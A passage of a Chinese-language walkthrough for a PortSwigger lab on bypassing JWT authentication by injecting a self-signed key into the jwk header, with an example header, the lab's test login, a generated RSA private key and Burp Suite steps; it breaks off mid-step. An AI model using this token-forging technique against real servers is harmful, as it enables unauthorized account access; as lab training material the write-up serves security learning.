                <span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">kid(</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">密钥</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">id)</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:提供一个</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">ID</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">,在有多个密钥可供选择的情况下服务器可以用它来识别正确的密钥,根据键的格式这可能有一个匹配的</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">kid</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">参数</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
        </li>
</ul>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">这些用户可控制的参数每个都告诉接收方服务器在验证签名时应该使用哪个密钥,下面我们将介绍如何利用这些参数来注入使用您自己的任意密钥而不是服务器的密钥签名修改过的</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:12.0pt;margin-left:0cm;margin-right:0cm;margin-top:12.0pt;text-align:justify;text-justify:inter-ideograph;">
        <b><span style="color:#777777;font-family:宋体;font-size:12.0pt;letter-spacing:.55pt;">注入场景</span></b><b><span lang="EN-US" style="color:#777777;font-family:Segoe UI,sans-serif;font-size:12.0pt;letter-spacing:.55pt;">1</span></b>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">下面我们介绍如何通过</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWK</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">参数注入自签名的</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">,</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWS(JSON Web Signature)</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">规范描述了一个可选的</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">jwk header</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">参数,服务器可以使用该参数以</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">jwk</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">格式将其公钥直接嵌入令牌本身,您可以在下面的</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT head</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">中看到具体的示例</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">:</span>
</p>
<div style="background:#F7F7F7;border:solid windowtext 1.0pt;padding:12.0pt 12.0pt 12.0pt 12.0pt;">
        <p style="background:#F7F7F7;border:none;font-family:等线;font-size:10.5pt;margin:0cm;padding:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:justify;text-justify:inter-ideograph;">
                <b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">{</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"kid"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"typ"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"JWT"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"alg"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"RS256"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"jwk"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">{</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"kty"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"RSA"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"e"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"AQAB"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"kid"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"n"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9m"</span><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp; </span></span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">}</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">}</span></b><span lang="EN-US" style="font-family:Consolas;font-size:9.5pt;"></span>
        </p>
</div>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
        <span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">理想情况下服务器应该只使用有限的公钥白名单来验证</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">签名,然而错误配置的服务器有时会使用</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">jwk</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">参数中嵌入的键值,您可以通过使用自己的</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">RSA</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">私钥对修改后的</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">进行签名,然后在</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">jwk</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">头中嵌入匹配的公钥来利用这种行为,</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Burpsuite</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">的</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT Editor</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">扩展提供了一个有用的功能来帮助您测试此漏洞,您可以在</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Burp</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">中手动添加或修改</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">参数</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"><br />
</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">靶场地址:</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-jwk-header-injection</span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Step 1</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:点击</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">"ACCESS THE LAB"</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">访问靶场</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Step 3</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:点击</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">"My Account"</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">登录系统</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<div style="background:#F7F7F7;border:solid windowtext 1.0pt;padding:12.0pt 12.0pt 12.0pt 12.0pt;">
        <p style="background:#F7F7F7;border:none;font-family:等线;font-size:10.5pt;margin:0cm;padding:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:justify;text-justify:inter-ideograph;">
                <span lang="EN-US" style="color:#F57900;font-family:Consolas;font-size:9.5pt;">wiener:</span><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">peter</span><span lang="EN-US" style="font-family:Consolas;font-size:9.5pt;"></span>
        </p>
</div>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Step 4</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:登录之后可以看到如下邮箱更新界面</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Step 5</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:下面我们开始操作,不过在此之前我们得先武器化以下自己,在</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Burpsuite</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">界面选择</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">"Extender"</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">选项卡,紧接着点击</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">"BApp Store"</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">安装</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">"JWT Editor"</span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">之后你可以看到如下的选项卡界面</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Step 6</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:生成一个新的</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">RSA</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">密钥</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<div style="background:#F7F7F7;border:solid windowtext 1.0pt;padding:12.0pt 12.0pt 12.0pt 12.0pt;">
        <p style="background:#F7F7F7;border:none;font-family:等线;font-size:10.5pt;margin:0cm;padding:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:justify;text-justify:inter-ideograph;">
                <b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">{</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"p"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"8J0fgpxQpZOvPGb2rRsJB6Bh0lgvxRtp_Ilc7NmpI3UgEUiArSey091pT3X6lIPRZLdMf_eeYo_PWh5aq79Ps_xoZHtAz4VrR9sR8tCkND-z0KKBmopkUrowJie368xoWDU53P-4qxEfCfqPPxoZZRzhE7cse0PUVayNAJC01FU"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"kty"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"RSA"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"q"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"1zMkdJNLYEdZYvZ31B15CmCfI9dOGEpn6lyXOEBPsqrP554x_8dXZnXSHbybiYyeLgl6i_JubJBqjeSAejwHh9v-e3-R9-7Dgg4lB_OUNqsg7yM3mcpZn7IHeGVKj9BjhigWsbUXFuwM1iEDK4TDmTV4-tO9UMsIBQA1SFlUTA8"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"d"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"Ayw2AASn_yn6EwjqCts6_gP6NZ9BlNhCG1iuDTX9h_AGWYBtUepdgp4CaM098ZyjH2Da3RvonFVlTOwHTgVAdkb2eWqeMejMjUji3cKIQRU_r0UeY3C4q8BBuWjwzF7ZTeVDgbx05NfeUW0LwWE3mFBuPDy6tmvYdekcs8Ft7GDmU_ToPZaGnMoEKzVlMyDb82LgkB7qWw2H4UoXHWR0l_RS90gTjkJzMc4Fmu4CoPfmqw8jLnGgq8GhAzpecc-VLvqel3tSY0fKqF5Y3U2SooL27vJJxX0kLgHVbcTNvCcS8XZArdhWTekV923jtspoNDYn5HfhAlLglCcwQcOSYQ"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"e"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"AQAB"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"kid"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"fa018615-0392-4d15-89bb-a2c637d9adbd"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"qi"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"XO3HEFj8PCxFz4DIw0djHjTrW4Krm-Oim-U4bmuEdmPDKKTIYYvkPVoSRR-4kCHkCx2aDsraUbNkTyEYC4dRUbnWl6xr2HxaLZIsxOglYsa939l_m6NXSzttAGrPpWqoURT7t6ihSmBnGDJDsMS3c1gWJKZsAYkeXy5lI2IhGks"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"dp"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"0gfldIZsY0w5_9jE5LAfvreCDDGMaVsXtihVpC4PVXMs7clDAWMQ152DCqiqdi9mfar_LQkCCXkM_9ZVQWw675qZqXRpS3xj_BI_ZZw4aZ9dn_XqefLpxcjetL-g7US9pJm5i67xDOpiFLzRg7yNhFSkKCiRvHumAq8fWen23w0"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"dq"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"QcZI6zSmAjxsjrnkcDm96DUWDv9cyEHdtx0rvy6w7VwWBaYthA8qoI98dEhUhdsr8chF44Zqx9XwK4Re3H2Ck7zi8F5SgCRDL3ohSWfisj7l5xGtidz2PcBNVjgnbQN1l-ii3xgJgaEOX1hhvqhqnGZins-e-pXD0rt4ja93-3M"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"n"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"ykQHB6Jelehm2eVfkb-2mSTpfODsGlthhS0sTLX5geGwsQCz4gnRbXPN5gOsCpqUbJH9gDE80q262XuS8DNrdmTLTPjuM4wRc-ghh9GvOCgJGBtO1PIVCTIsPmwhMra0eykwj246GReyoDcUhreG2yZ8rg-tHIcxPyWBtdKY2tubM6-YLk5gVLcuHRL25Fn_I5NghQbyzmISbulJ1CMq5WU-h9RA8IkYhVcrsP8Y1E2dc4fagKn5Tp60bUkjCcqIMAKouI-CX86mF0k3cSd340KuUXuf2vIo_yWMhZjFkAxj-gBn4eO3l2qZgyGkkHMn0HL8RSDzdG-BSBgNYoWs-w"</span><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">}</span></b><span lang="EN-US" style="font-family:Consolas;font-size:9.5pt;"></span>
        </p>
</div>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Step 7</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:刷新页面拦截到请求并将请求发送到</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Repeat</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">模块</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
